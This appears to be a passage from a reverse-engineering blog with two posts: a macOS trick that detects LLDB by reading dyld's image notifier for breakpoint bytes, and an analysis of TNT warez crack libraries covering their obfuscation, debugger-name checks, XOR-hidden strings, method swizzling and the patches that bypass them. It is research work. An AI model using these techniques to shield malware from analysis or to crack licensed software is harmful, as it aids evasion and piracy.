no surprise that this update broke some custom debugger-related code I was using. The same code worked without problems in all previous macOS versions, so something is broken in the new release (it is!).\nWhile trying to debug the issue, I revisited a bug that I had previously identified in lldbinit after pushing some updates.\nThe feature in question is stop on images loading, which causes the debugger to stop execution whenever an image is linked into the process. This can be useful for stopping before shared libraries are loaded, a trick I\u0026rsquo;ve used many times. Because I use it so often, I\u0026rsquo;ve added a feature (bm command) to lldbinit to stop execution whenever a specific image is loaded, making it faster to identify the image I\u0026rsquo;m interested in.\nReproducing the bug is quite straightforward:\n(lldbinit) enablesolib [+] Enabled stop on library events trick. (lldbinit) c Process 981 resuming Traceback (most recent call last): File \u0026#34;/Users/timapple/lldbinit.py\u0026#34;, line 5784, in HandleHookStopOnTarget bpx = target.FindBreakpointByID(bp_id) File \u0026#34;/Library/Developer/CommandLineTools/Library/PrivateFrameworks/LLDB.framework/Resources/Python/lldb/__init__.py\u0026#34;, line 12100, in FindBreakpointByID return _lldb.SBTarget_FindBreakpointByID(self, break_id) OverflowError: in method \u0026#39;SBTarget_FindBreakpointByID\u0026#39;, argument 2 of type \u0026#39;lldb::break_id_t\u0026#39; Process 981 stopped * thread #1, stop reason = shared-library-event frame #0: 0x000000010003c130 dyld`lldb_image_notifier Target 0: (clownpertino) stopped. (lldbinit) The issue is with this block of code, which implements a feature to display breakpoint names:\nif stop_reason == lldb.eStopReasonBreakpoint: if thread.GetStopReasonDataCount() \u0026gt; 0: # this gives us the breakpoint id bp_id = thread.GetStopReasonDataAtIndex(0) # now we can try to locate it bpx = target.FindBreakpointByID(bp_id) Let\u0026rsquo;s examine the values to understand the problem:\n(lldbinit) script Python Interactive Interpreter. To exit, type \u0026#39;quit()\u0026#39;, \u0026#39;exit()\u0026#39; or Ctrl-D. \u0026gt;\u0026gt;\u0026gt; lldb.thread.GetStopReasonDataCount() 2 \u0026gt;\u0026gt;\u0026gt; lldb.thread.GetStopReasonDataAtIndex(0) 18446744073709551615 \u0026gt;\u0026gt;\u0026gt; ^D now exiting InteractiveConsole... (lldbinit) Beyond the type mismatch between the code and UI, the value doesn\u0026rsquo;t appear logical. So, while investigating the LLDB source code, I discovered that it sets internal breakpoints, one of them on lldb_image_notifier. I also found out an option to display the internal breakpoints, previously unnoticed.\n% lldb ./clownpertino (lldb) target create \u0026#34;./clownpertino\u0026#34; Current executable set to \u0026#39;/Users/timapple/clownpertino\u0026#39; (x86_64). (lldb) process launch -s Process 749 stopped * thread #1, stop reason = signal SIGSTOP frame #0: 0x0000000100007d90 dyld`_dyld_start dyld`_dyld_start: -\u0026gt; 0x100007d90 \u0026lt;+0\u0026gt;: movq %rsp, %rdi 0x100007d93 \u0026lt;+3\u0026gt;: andq $-0x10, %rsp 0x100007d97 \u0026lt;+7\u0026gt;: movq $0x0, %rbp 0x100007d9e \u0026lt;+14\u0026gt;: pushq $0x0 Target 0: (clownpertino) stopped. Process 749 launched: \u0026#39;/Users/timapple/clownpertino\u0026#39; (x86_64) (lldb) breakpoint list -i Current breakpoints: Kind: shared-library-event -1: name = \u0026#39;lldb_image_notifier\u0026#39;, module = dyld, locations = 1, resolved = 1, hit count = 0 -1.1: where = dyld`lldb_image_notifier, address = 0x000000010003c130, resolved, hit count = 0 (lldb) The takeaway is that LLDB always sets an internal breakpoint on the image notifier. This makes it a straightforward and obvious way to determine if a debugger has been attached to the process. It really can\u0026rsquo;t get much simpler than this. :-).\nTo implement this easily, we just need to find the address of dyld_all_image_infos. This can be done by manually parsing dyld symbols after finding its address. Alternatively, an even simpler approach is to use TASK_DYLD_INFO, which will provide us with the address of that structure, either locally or remotely (if we have the necessary mach port).\ntask_dyld_info_data_t info; mach_msg_type_number_t size = TASK_DYLD_INFO_COUNT; kern_return_t kret; kret = task_info(mach_task_self(), TASK_DYLD_INFO, (void*)\u0026amp;info, \u0026amp;size); if (kret != KERN_SUCCESS) { printf(\u0026#34;Error: task_info failed: %s\\n\u0026#34;, mach_error_string(kret)); return 0; } struct dyld_all_image_infos *ai = (struct dyld_all_image_infos*)info.all_image_info_addr; printf(\u0026#34;dyld base address: 0x%llx\\n\u0026#34;, (uint64_t)ai-\u0026gt;dyldImageLoadAddress); Given that we\u0026rsquo;re in the same process space, we can simply read directly from the TASK_DYLD_INFO pointer to extract the address of the image notifier. The final step is to dereference this pointer and inspect its contents. If it contains a breakpoint instruction – an INT3 (0xCC) for x86_64 targets or BRK #0 (0xd420000) for ARM64 – then we can be certain that a debugger is attached to our process. Otherwise, everything appears fine, and no debugger is present. Easy peasy!\nIf we run the PoC on a 15.4 x86_64 host, there is no debugger detected:\n% ./clownpertino dyld version: 17 dyld string: 1284.13 dyld base address: 0x7ff80225f000 dyld base magic: 0xfeedfacf Notifier address: 0x7ff802298130 Notifier symbol: 0x39130 Notifier content: 0xe5894855 No debugger detected :) But if we run it under LLDB, we can see the int3 patched at the notifier address:\n% lldb ./clownpertino (lldb) target create \u0026#34;./clownpertino\u0026#34; Current executable set to \u0026#39;/Users/timapple/clownpertino\u0026#39; (x86_64). (lldb) r Process 728 launched: \u0026#39;/Users/timapple/clownpertino\u0026#39; (x86_64) dyld version: 17 dyld string: 1284.13 dyld base address: 0x7ff80225f000 dyld base magic: 0xfeedfacf Notifier address: 0x7ff802298130 Notifier symbol: 0x39130 Notifier content: 0xe58948cc DEBUGGER DETECTED! Hey Tim Apple, why don\u0026#39;t you give me a $1m instead of selling out to Trump? Process 728 exited with status = 1 (0x00000001) (lldb) The same result on a ARM64 15.4 host:\n% ./clownpertino dyld version: 17 dyld string: 1284.13 dyld base address: 0x184f34000 dyld base magic: 0xfeedfacf Notifier address: 0x184f7e05c Notifier symbol: 0x4a05c Notifier content: 0xd65f03c0 No debugger detected :) % lldb ./clownpertino (lldb) target create \u0026#34;./clownpertino\u0026#34; Current executable set to \u0026#39;/Users/timapple/clownpertino\u0026#39; (arm64). (lldb) r Process 25191 launched: \u0026#39;/Users/timapple/clownpertino\u0026#39; (arm64) dyld version: 17 dyld string: 1284.13 dyld base address: 0x184f34000 dyld base magic: 0xfeedfacf Notifier address: 0x184f7e05c Notifier symbol: 0x4a05c Notifier content: 0xd4200000 DEBUGGER DETECTED! Hey Tim Apple, why don\u0026#39;t you give me a $1m instead of selling out to Trump? Process 25191 exited with status = 1 (0x00000001) (lldb) And testing against Sonoma 14.7.1 x86_64:\n% ./clownpertino dyld version: 17 dyld string: 1165.3 dyld base address: 0x7ff81b4e2000 dyld base magic: 0xfeedfacf Notifier address: 0x7ff81b51e6c0 Notifier symbol: 0x3c6c0 Notifier content: 0xe5894855 No debugger detected :) % lldb ./clownpertino (lldb) target create \u0026#34;./clownpertino\u0026#34; Current executable set to \u0026#39;/Users/timapple/clownpertino\u0026#39; (x86_64). (lldb) r Process 818 launched: \u0026#39;/Users/timapple/clownpertino\u0026#39; (x86_64) dyld version: 17 dyld string: 1165.3 dyld base address: 0x7ff81b4e2000 dyld base magic: 0xfeedfacf Notifier address: 0x7ff81b51e6c0 Notifier symbol: 0x3c6c0 Notifier content: 0xe58948cc DEBUGGER DETECTED! Hey Tim Apple, why don\u0026#39;t you give me a $1m instead of selling out to Trump? Process 818 exited with status = 1 (0x00000001) (lldb) This works for any recent dyld versions (I believe 17+) which implement a single lldb_image_notifier. Older dyld versions implement it in a different way. If we look at the source code for dyld 551.4, available in High Sierra 10.13.6:\n// @ src/glue.c void _dyld_debugger_notification(enum dyld_notify_mode mode, unsigned long count, uint64_t machHeaders[]) { // Do nothing. This exists for the debugger to set a break point on to see what images have been loaded or unloaded. } extern \u0026#34;C\u0026#34; void _dyld_debugger_notification(enum dyld_notify_mode mode, unsigned long count, uint64_t machHeaders[]); // @ src/dyld_debugger.cpp static void gdb_image_notifier(enum dyld_image_mode mode, uint32_t infoCount, const dyld_image_info info[]) { uint64_t machHeaders[infoCount]; for (uint32_t i=0; i \u0026lt; infoCount; ++i) { machHeaders[i] = (uintptr_t)(info[i].imageLoadAddress); } switch ( mode ) { case dyld_image_adding: _dyld_debugger_notification(dyld_notify_adding, infoCount, machHeaders); break; case dyld_image_removing: _dyld_debugger_notification(dyld_notify_removing, infoCount, machHeaders); break; default: break; } // do nothing // gdb sets a break point here to catch notifications (...) } Which one does lldb internally breakpoints?\n(lldbinit) break list -i Current breakpoints: Kind: shared-library-event -1: address = dyld[0x0000000000010076], locations = 1, resolved = 1, hit count = 0 -1.1: where = dyld`_dyld_debugger_notification, address = 0x0000000100013076, resolved, hit count = 0 If we run the proof-of-concept (PoC), we obtain an incorrect address via TASK_DYLD_INFO:\n$ ./clownpertino dyld version: 15 dyld string: 551.5 dyld base address: 0x105636000 dyld base magic: 0xfeedfacf Notifier address: 0x1056457ce Notifier symbol: 0xf7ce Notifier content: 0xe5894855 No debugger detected :) $ lldb ./clownpertino (lldb) target create \u0026#34;./clownpertino\u0026#34; Current executable set to \u0026#39;./clownpertino\u0026#39; (x86_64). (lldb) r Process 21010 launched: \u0026#39;./clownpertino\u0026#39; (x86_64) dyld version: 15 dyld string: 551.5 dyld base address: 0x100003000 dyld base magic: 0xfeedfacf Notifier address: 0x1000127ce Notifier symbol: 0xf7ce Notifier content: 0xe5894855 No debugger detected :) Process 21010 exited with status = 0 (0x00000000) (lldb) We need to examine the dyld symbols to understand which one this is:\n$ nm /usr/lib/dyld | grep notif 000000000000f4e4 t __Z9notifyGDB17dyld_image_statesjPK15dyld_image_info 000000000000f7ce t __ZL18gdb_image_notifier15dyld_image_modejPK15dyld_image_info 0000000000001b16 t __ZN4dyld12notifyKernelERK11ImageLoaderb 00000000000054da t __ZN4dyld22notifyKernelAboutImageEPK12macho_headerPKc 0000000000009218 t __ZN4dyldL11notifyBatchE17dyld_image_statesb 0000000000002001 t __ZN4dyldL12notifySingleE17dyld_image_statesPK11ImageLoaderPNS1_21InitializerTimingListE 0000000000004836 t __ZN4dyldL18notifyBatchPartialE17dyld_image_statesbPFPKcS0_jPK15dyld_image_infoEbb 0000000000008efb t __ZN4dyldL20notifyMonitoringDyldEbjjPK15dyld_image_info 0000000000012c2e t __ZNK11ImageLoader10notifyObjCEv 000000000001e7d0 t __ZNK16ImageLoaderMachO10notifyObjCEv 0000000000010076 T __dyld_debugger_notification 000000000000eb98 t __dyld_objc_notify_register 0000000000025c88 t _coresymbolication_load_notifier 0000000000025d38 t _coresymbolication_unload_notifier Given that dyld base address is 0x100003000 and the reported address is 0x1000127ce, we can calculate the corresponding symbol: 0x1000127ce - 0x100003000 = 0xf7ce. This points to __ZL18gdb_image_notifier15dyld_image_modejPK15dyld_image_info, a C++ symbol which demangles to _gdb_image_notifier(dyld_image_mode, unsigned int, dyld_image_info const*).\nModifying the code to manually apply this offset, in case a breakpoint is not detected at the expected notifier address (address not shown in the output):\n$ lldb ./clownpertino (lldb) target create \u0026#34;./clownpertino\u0026#34; Current executable set to \u0026#39;./clownpertino\u0026#39; (x86_64). (lldb) r Process 21653 launched: \u0026#39;./clownpertino\u0026#39; (x86_64) dyld version: 15 dyld string: 551.5 dyld base address: 0x100003000 dyld base magic: 0xfeedfacf Notifier address: 0x1000127ce Notifier symbol: 0xf7ce Notifier content: 0xe5894855 DEBUGGER DETECTED! Hey Tim Apple, why don\u0026#39;t you give me a $1m instead of selling out to Trump? Process 21653 exited with status = 1 (0x00000001) (lldb) This means that older LLDB versions set breakpoints in a less interesting function (because it only contains information about the Mach-O header instead of struct dyld_image_info) so we need to discover and use that function to detect LLDB, instead of using TASK_DYLD_INFO.\nThis provides a simple yet effective means of detecting whether a process is running under LLDB.\nPoC code available here.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2025/04/04/clownpertino/","summary":"I haven\u0026rsquo;t seen this trick in the wild (and couldn\u0026rsquo;t find any references) and I\u0026rsquo;m dumbfounded as to why I didn\u0026rsquo;t notice it before. I knew and used this feature a lot, but assumed that the underlying breakpoint was only set when the option was enabled (assumptions, assumptions\u0026hellip;tss tss tss).\nThe story starts with an upgrade to macOS 15.4. Given Apple\u0026rsquo;s recent software quality issues, it comes as no surprise that this update broke some custom debugger-related code I was using.","title":"clownpertino - A simple macOS debugger detection trick"},{"content":"A few weeks ago, Copycat sent me an email asking if I knew anything about the TNT warez group macOS cracks. They were worried that the cracks could be used to leverage malware since TNT is (?) Russia based. Cyber war is real and this could be an interesting case to look at.\nThese cracks are based on a dynamic library injection, with obfuscated code and anti-debugging measures. This of course triggered my curiosity since the usual anti-anti-debugging measures (ptrace \u0026amp; friends) weren\u0026rsquo;t working. Even more interesting, one of the cracked apps had pro-Ukraine related content that was modified, so it was a perfect target for malware. Even if malware free, what was behind the obfuscation and anti-debugging?\nOne of the long standing myths from the warez scene is that it is malware free. While it might be true at the source (aka scene releases into the closed FTPs or whatever is used now), the reach of warez these days is quite large, and like the telephone game, the incentives are strong for \u0026ldquo;corruption\u0026rdquo; on each distribution step. Incentives are always one of the best tools to try to understand what might happen in a given situation.\nIt\u0026rsquo;s also not uncommon for warez groups to protect their cracks. Most apps use the same protection code between versions, so if you break the cracks then you can race the original group to release on the next app version and easily earn scene cred. Imagine a AI bot racing other groups :P.\nGiven these facts, it was time to poke around and try to understand what was going on, in particular the anti-debugging issues because I like them.\nThere are x86_64 and ARM64 versions, and they have different features. The x86_64 version is more \u0026ldquo;complex\u0026rdquo; because it is the older platform and allows for more tricks, while ARM64 is a bit harder to play the same games, which is in favor of the reverse engineer.\nThe x86_64 version is obfuscated/encrypted/packed/whatever, while the ARM64 version isn\u0026rsquo;t. Both have very similar code in nature, so most probably the TNT tool code is the same for both versions, with less features for ARM64 platform.\nWe shall explain and observe the differences soon.\nMost writings and presentations about reverse engineering are rewritten history (at least mine are!). They look linear but the real work behind them is many times chaotic and random, especially against new targets. For example, I noticed or discovered a few more details while writing all this. Writing and trying to explain things to others is always a great self-learning and discovery exercise. It\u0026rsquo;s also an opportunity to try to improve methods and techniques so we can improve next time. There is process but also art so many different approaches to a target are possible. Always Be Learning.\nI wrote a few tools to assist this work. One is C4, a code analyser and strings dumper based on IDA\u0026rsquo;s CTREE API and the new idalib feature (much better than doing plugins the old way, and crazy fast!). Another is semtex, a Unicorn Engine based tool to dump the x86_64 binary and fix some of the obfuscated information. As I was writing this post, I also created sx4, a fully static alternative to semtex.\nThese names might have not been the best idea in these keyword searching modern times but couldn\u0026rsquo;t resist :-]. The source code for semtex and sx4 are available while C4 will stay private for the time being.\nI\u0026rsquo;ve also developed two IDA plugins: navcolor, which colorizes functions in IDA navbar, making it easier to visualize possible important functions or code characteristics; and iFold, which automates IDA\u0026rsquo;s pseudocode folding (more on this later).\nI\u0026rsquo;m going to merge all my plugins into a single one to avoid scattering C/C++ plugins.\nScreenshots use the default IDA themes and the amazing TheSansMono Condensed SemiLight font. My irreplaceable and favorite font for work (IDA, development, terminal, etc). I have tried many others, none is this amazing!\nThe target applications The main target application is Downie version 4.9.7 and is Intel only. Other cracks targetting Apple Silicon and Intel CPUs were used to compare their implementations and features.\nThe dynamic libraries used in this post belong to Downie v4.9.7 (x86_64) and Lyn v2.1.2 (x86_64/ARM64):\nlibC.dylib SHA2:23dbea802551318a81d900654bd5bd3365a48f8a9053880ecabc1244898e1147 libConfigurer64.dylib SHA2:4de75b0ab14402ba3a8bb1c4d406fbfc628f3855c4a12e76e3fb186554af1315 The injected dynamic library is named libC.dylib or libConfigurer64.dylib (as far as I have seen in all the samples I collected) and frequently located in the Resources folder.\nI was going to make those files available but that might be a bad idea given that they are fully functional cracks and not looking for possible DMCA issues. They are easy to find anyway 🏴‍☠️.\nInitial reconnaissance Initially, I loaded the x86_64 version into IDA. It was clear that the code was obfuscated (or/and encrypted/packed/virtualized/etc) due to the amount of unknown and garbled instructions. The variable instruction length of x86_64 code makes many of these tricks possible versus the fixed instruction length of ARM64, which makes impossible those tricks. Life is much easier in ARM64 and I enjoy it more each day.\nJunk code in auto-identified function IDA\u0026rsquo;s navigation bar shows that disassembly has largely failed, with very few auto-identified functions. A clear sign of bad things waiting for us, the adventurous reverser engineers.\nGiven these target characteristics where do we start? What is the entrypoint of this code?\nDynamic libraries are just a group of functions that can be called by other code, applications or other libraries and frameworks. They don\u0026rsquo;t have an entrypoint where executing starts such as main in executables. Except if they have constructors and/or load methods. These particular \u0026ldquo;functions\u0026rdquo; are executed when the library is linked into the target memory space. They aren\u0026rsquo;t exclusive of dynamic libraries and executables can also have them. Because the code is obfuscated something must be happening before it is usable by any external caller, so constructors and/or load methods are our starting point.\nThe constructors are usually found in the __mod_init_func section. It\u0026rsquo;s essentially a table of pointers to functions that will be executed in the linking stage. Since this section name can be obfuscated we can identify this section using the flag S_MOD_INIT_FUNC_POINTERS. Destructors are called when the application terminates and can be usually found in __mod_term_func, and the section flag is S_MOD_TERM_FUNC_POINTERS.\nIn this case the constructor partially disassembles to junk code. This is certainly not executed before something else happens. The load method is another candidate when Objective-C is involved. These methods execute before constructors so there is a good chance they are fixing the obfuscated code.\nWe want to locate any class load method(s). According to the Objective-C language they are defined as +[className load]. In this particular case, IDA is unable to identify any method. One possible reason for this is that the Mach-O headers have been mangled (such as section names removed, symbols named to random garbage) to further obfuscate the binary and make reverse engineering a bit more annoying.\nLuckly for us, Objective-C is a bit harder to obfuscate and hide due to requirements from the runtime. That\u0026rsquo;s the reason why all the Objective-C sections kept their original names.\nWhile IDA is unable to recognize any load method, we can explore the sections and manually locate them. We don\u0026rsquo;t even need to know anything about Objective-C internals to achieve this. Just explore each __objc section and see if there are any potential pointers or references to code locations.\nThe __objc_const section contains all the information we need. We can see the method name, its signature v16@0:8, and what appears to be a pointer to the address 0x17D2B.\nDownie crack Objective-C const section It points to a code address, and if we go there we can observe that IDA was unable to make a function. But it looks like a possible function, with the usual prologue code (push rbp, etc).\nThe class load method code If we try to make a function out of it, IDA complains about unrecognized code, so something is bad somewhere in the code. IDA can\u0026rsquo;t label the method(s) because the addresses it can find aren\u0026rsquo;t valid functions so its algorithms are unable to proceed. That is a problem to deal with later on.\n________________:000000000001A677: The function has undefined instruction/data at the specified address. Your request has been put in the autoanalysis queue. Looking at the same section in the other sample:\nSample #2 Objective-C const section The information is still there, the layout of the __objc_const section is slightly different. They are all Objective-C structures that we can use to automatically locate the load method. This is what semtex does to find the methods. Have a look at macho.c source code to understand how.\n=\u0026gt; Locating the load method... [DEBUG] Read-only class info at 0xa42a0 [DEBUG] Methods array @ 0xa4280 load method implementation @ 0x17d2b It is now clear that we want to debug and reverse this method since there is a strong probability that it will be responsible for fixing the junk code all over the binary. An easy and quick way to test this theory is to just modify the library and the first instruction on this method to a INT3 or BRK #0. The debugger will be triggered or the app will crash if there is no debugger attached, a sign that the method is being executed.\nA quick glance to the imported symbols allows us to have an hint that Objective-C method swizzling might be used to implement the cracks. Too many apps out there are just protected by a isRegistered method 💀💀💀.\nWe are interested in imports such as:\nclass_getClassMethod class_getInstanceMethod method_getImplementation method_setImplementation method_exchangeImplementations The symbol information from LC_SYMTAB is obfuscated:\nBut that information must be somewhere otherwise the linker wouldn\u0026rsquo;t be able to deal with this binary. In this case it\u0026rsquo;s in the LC_DYLD_INFO_ONLY segment, the one that a modern dyld preferentially uses.\nFunny enough, Apple tools don\u0026rsquo;t like the binary:\nbash % objdump --macho --lazy-bind libC.dylib libC.dylib: Lazy bind table: segment section address dylib symbol ??? ??? ??? ??? ??? ??? ??? ??? 0x0003D430 libSystem _NSAddressOfSymbol (...) ??? 0x0003D508 libobjc _class_addMethod /Applications/Xcode16.2.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/objdump: error: \u0026#39;libC.dylib\u0026#39;: truncated or malformed object (for BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB bad offset, extends beyond section boundary for opcode at: 0x2b0) At this point we can conclude that the binary is obfuscated and that we want to reverse and debug the class load method as our starting point to understand the deobfuscation process.\nThe ARM64 binary After verifying that x86_64 binaries are obfuscated I started working on the ARM64 version instead. Since Downie is x64 only, the target for this section will be Lyn using libConfigurer64.dylib.\nAs I wrote before, the ARM64 binaries aren\u0026rsquo;t obfuscated. IDA is able to produce an apparently clean disassembly, and that\u0026rsquo;s a good sign.\nThe Mach-O headers aren\u0026rsquo;t mangled either, and IDA identified the load method.\nThe code isn\u0026rsquo;t garbage code as the x86_64 version but if we look at its graph it also doesn\u0026rsquo;t look normal. It resembles a graph of flattened control flow or contains a large amount of sequential useless code, making the method difficult and/or tedious to reverse.\nWe can also notice how big this method (in red) is relative to the rest of the code. The navbar color change for the function was done using navcolor IDA plugin. It allows to color functions in the navbar and it\u0026rsquo;s super useful to quickly identify functions like this. I added features such as color the N largest functions to visualize what is going on.\nHow do you deal with this type of target? It\u0026rsquo;s a matter of personal preference and experience. Personally I\u0026rsquo;m a fan of starting with an overview and feeling the code (à la +ORC zen cracking) before diving into the details and possibly get lost in irrelevant code. Browsing around allows you to sense what appears to be repeated operations over and over. Something like this:\nThis code feels ugly, boring, and maybe unnecessary to understand, at least for now. If you are lucky ($$$) enough, the decompiler is a modern tool that can be very helpful to deal with these problems. When it was launched I wasn\u0026rsquo;t a fan of the Hex-Rays decompiler, but it became a very powerful and useful tool. Sometimes it fails subtly and badly, and leads you into some weird rabbit holes if you don\u0026rsquo;t pay attention to the original machine code. Experience, lots of frustration, and failure - the life of a reverse engineer.\nThe reason that it\u0026rsquo;s worth to try the decompiler is that there are a lot of optimizations that it does before it produces its final output, so we might be lucky and a significant part of this long function becomes simplified in the resulting pseudocode.\nThe pseudocode appears slightly better but we can still see too many loops in what appears boring code to understand and a ton of work to reverse, or to create tools to simplify all this (unless we really need them to progress).\nIs there a better way? Once again, zen cracking to the rescue. Browsing around, it still feels we are too zoomed in, so what can we do to have a macro view of the code?\nHow about collapsing all those loops? We might lose something important inside the loops, but if this gives us a general overview then we might have a better starting point before going all crazy and waste time reversing boring and useless code. I wonder what those IDA MCP integrations popping over last days can do out of this. Need to give it a try :-).\nAnd this simple idea is perfect. We can finally see calls to external symbols and more interesting code patterns.\nInitially I did this by hand, then I built another plugin to collapse every loop in the pseudocode view. It should be possible to achieve the same with IDAPython - iterate the CTREE, collapse all loop statements, and refresh the pseudocode view.\nThe anti-debugging When we run the cracked application under LLDB it just exits. If we try it without the debugger everything appears to work. That looks like anti-debugging!\nAnother important detail is that the exit doesn\u0026rsquo;t happen right away. I was able to trace some amount of code and all of a sudden it exits. Apparently there is nothing in the traced code that would lead to this result.\nLooking at the decompiler output, we have lots of suspicious calls to pthread_create. That suggests a thread that is suspended for some time and when it wakes up it calls exit or maybe signal to kill the main process.\nAll the calls to pthread_create appear to use the same arguments so this will make our work a bit easier. The arg argument to pthread_create is a user-defined structure, where the last field appears to be a function pointer. In the previous image this is sub_1D0F8.\nint pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg); The pthread start_routine function at sub_7F94 gives us some hints of what is going on. This is an intermediate function that will call the function pointer in the user-defined structure.\nThere is a call to usleep before the function pointer call v4(v5), which explains the observed delay before exit. The underlying logic is: a new thread is created, sleeps for an N amount of time, and executes another function to detect debuggers and exit if positive. All threads called this way follow the same pattern. The sleep amount is calculated somewhere in all those loops; we shouldn\u0026rsquo;t care much about it since it\u0026rsquo;s just a value. One solution could be to hook usleep and make the value so large it will never execute the function.\nThe function sub_1D0F8 is still an intermediate stub, meaning it will call the function we are really interested in.\nvoid __noreturn sub_1D0F8() { sub_248B8(); } The sub_248B8 function is obfuscated with similar loops as before. But what matters is that there is an exit call and that\u0026rsquo;s more than enough to assume this is what we are looking for. These threads try to detect a debugger and terminate the application if positive.\nAn easy way to manually bypass this is to insert breakpoints and bypass the call to pthread_create and then jump around the next instructions that deal with the return value from that call. It is also possible to patch the library since there aren\u0026rsquo;t any checksum checks. We are free to binary patch as desired and our life becomes much easier (keep in mind that the patched code needs to be resigned because we are dealing with Apple Silicon).\nIn LLDB we just need to breakpoint all pthread_create calls that use that specific start_routine and advance the program counter to the right location. LLDB breakpoints support scripting so we can easily automate this. An even easier way is to runtime patch the original branches with link (BL) with a regular branch to the address we want. Insert an early breakpoint and add scripted commands to manually patch each location. In the picture above, we want to breakpoint or patch at address 0xFBEC and resume execution at address 0xFC04, since we don\u0026rsquo;t want to deal with potential bad object to detach, although we might want to jump instead to address 0xFBFC to run the destructor and avoid memory leaks (irrelevant to our case anyway).\nBecause this is a dynamic library, we don\u0026rsquo;t know the base address where it will be located in memory. One way to solve this, is to use lldbinit breakpoint on module load feature using the bm command. This feature detects when the specified dynamic library or framework is loaded, displaying the base address before any of its code is executed, and giving us an opportunity to set breakpoints in the library after we add its base address to the locations we have in the disassembler.\nWith patches applied, the application now loads correctly under the debugger, and my favorite tool is ready to rock\u0026rsquo;n\u0026rsquo;roll.\nAt the time I didn\u0026rsquo;t care about understanding the debugger detection mechanism. When reversing the x86_64 version I finally noticed what was going on because it was breaking things in a different way. More on this later on.\nWith hindsight benefit it\u0026rsquo;s quite easy to see what\u0026rsquo;s going on and implement an even easier way to bypass it.\nHidden in the loops we have this block of code:\nIt\u0026rsquo;s essentially trying to retrieve the full path of a process. And then trying to match to a few obfuscated strings (discussed next):\ngdb lldb debugserver mac_server opper If the debuggers aren\u0026rsquo;t detected then the anti-debugging thread installation will be skipped when execution resumes at LABEL_975 as we can see in the next pseudocode snippet:\nChanging the process names will bypass this, or patching the jump to label condition, or inverting the variable being set, and so on. Many options are available. The pthread_create might be the easiest one because it\u0026rsquo;s very easy to detect using the decompiler CTREE AST. This is what I implemented in C4:\n[DEBUG] ******** Locating anti-debugging calls ******** [DEBUG] =\u0026gt; Found pthread call @ 0xc6f0 @ offset 0x586f0 patch with 06 00 00 14 [DEBUG] pthread start_routine is 0x7e0c [DEBUG] Real ptrace function var: v730 @ 0xc6c1 =\u0026gt; 0x1cf7c [DEBUG] =\u0026gt; Found pthread call @ 0xfa64 @ offset 0x5ba64 patch with 06 00 00 14 [DEBUG] pthread start_routine is 0x7e0c [DEBUG] Real ptrace function var: v1462 @ 0xfa35 =\u0026gt; 0x1cfb0 (...) With this information it\u0026rsquo;s very easy to patch the library, or emit LLDB scripts to patch before executing, or breakpoint commands to patch in realtime. The hard work is writing the tool to find the right locations.\nThe obfuscated strings With anti-debugging out of the way it\u0026rsquo;s finally time to start poking around the rest of the code. The disassembler is unable to detect any relevant strings other than Mach-O and Objective-C related. There\u0026rsquo;s also a funny string ripped out from Hopper:\n(c) 2014 - Cryptic Apps SARL - Disassembling not allowed.\nAlso this one that so far haven\u0026rsquo;t seen any usage for (some encoded TNT team debugging strings?):\nVfhT2zwxQpLeHRL6j4Oe4mrsmrjEAW\nA lack of readable strings is usually a good indicator that they are obfuscated/crypted/hidden/etc. The CIA malware development tradecraft has advice to obfuscate only what you need so and keep everything else so the binary doesn\u0026rsquo;t look suspicious. Always follow best practices:\nDO obfuscate or encrypt all strings and configuration data that directly relate to tool functionality.\nVerifying the code that follows the anti-debugging thread calls, we can observe suspicious functions that appear to be doing something with weird strings/buffers, a strong indicator of deobfuscation operations.\nThis code screams string deobfuscation right away:\nThe easiest way is to breakpoint on the next instruction after the call to the function and examine the return point to see if it contains a string. Right on the money! We can see it live by setting a breakpoint after the return from the call:\nAs with the anti-debugging, there is an intermediate stub before the real function. The source code could be something like this:\nchar * deobfuscate_string1(void) { // deobfuscation string return buf; } char * intermediate_stub1(void) { return deobfuscate_string1(); } @ implementation LibraryLoad + (void)load { (...) char *string1 = intermediate_stub1(); (...) } @end The C4 tool uses this feature to detect and rename all the string functions. First it enumerates all the functions that return the result of a call, and then tests if the call target is a function that contains a call to memcpy. Other features could have been added to reduce false positives but in this particular case it works pretty well since memcpy appears to be used only in these functions. Another feature could be the XOR operation. IDA\u0026rsquo;s Hex-Rays CTREE API makes this analysis rather easy, and it\u0026rsquo;s adequate enough since we don\u0026rsquo;t need to modify anything, otherwise the microcode API is more adequate. One advantage is that the same code can deal with x86_64 and ARM64 versions unmodified since the decompiler does the dirty translation work for us and we pretty much obtain the same pseudocode for both architectures.\n[DEBUG] Initializing IDA library IDA identified 324 functions. [DEBUG] It\u0026#39;s a argless return call @ 0x26a8. Call target is 0x4ff8. [DEBUG] It\u0026#39;s a argless return call @ 0x26bc. Call target is 0x4df8. [DEBUG] It\u0026#39;s a argless return call @ 0x26d0. Call target is 0x4bf8. [DEBUG] It\u0026#39;s a argless return call @ 0x26e4. Call target is 0x49f8. It\u0026rsquo;s also easy to statically extract all obfuscated strings since it\u0026rsquo;s just a single byte XOR obfuscation. We just need to recover the source buffer and the correspondent key. Different keys are used so we need to iterate over each function and extract the source data and the key. Once again, it\u0026rsquo;s easy to implement using the CTREE API and the super useful hrdevhelper plugin to visualize the tree.\nTo detect the memcpy, we can iterate the AST, find expressions of type cot_call (check the hexrays.hpp include in IDA SDK), and then check if the cot_obj in the next branch references the _memcpy symbol. This requires unobfuscated symbols to work, which isn\u0026rsquo;t a problem in the ARM64 version but it is in x86_64. The semtex tool fixes the symbols table so that IDA has the correct symbol names. That\u0026rsquo;s probably an IDA improvement, to use the LC_DYLIB_INFO segment for symbols instead of the old segments (or at least make it user configurable).\nThe crack implementation Having access to the original strings the rest of the code is pretty easy to understand. It is indeed using traditional method swizzling, locating the target method(s) and then replacing the implementation with a new one. The replacement methods are super simple and usually just return 0 or 1.\nSo in the end nothing special about the crack library after we bypass the junk code and access the original strings. No obvious malicious intent has been detected so far but I didn\u0026rsquo;t look deep in the code. There aren\u0026rsquo;t obvious signs, but this could be easily hidden since the code is running in the same space as the target application and has easy access to dynamic libraries, so it could resolve anything it needs in runtime and not be present on its imports for example.\nThe possibility exists and it\u0026rsquo;s very easy to implement. Don\u0026rsquo;t forget that by running in the same process space, the crack library inherits all the permissions that you granted to the application, so that it can have access to files and network. For example if you use a firewall such as Little Snitch and trust the application to connect anywhere, then a malicious crack could be easily used to 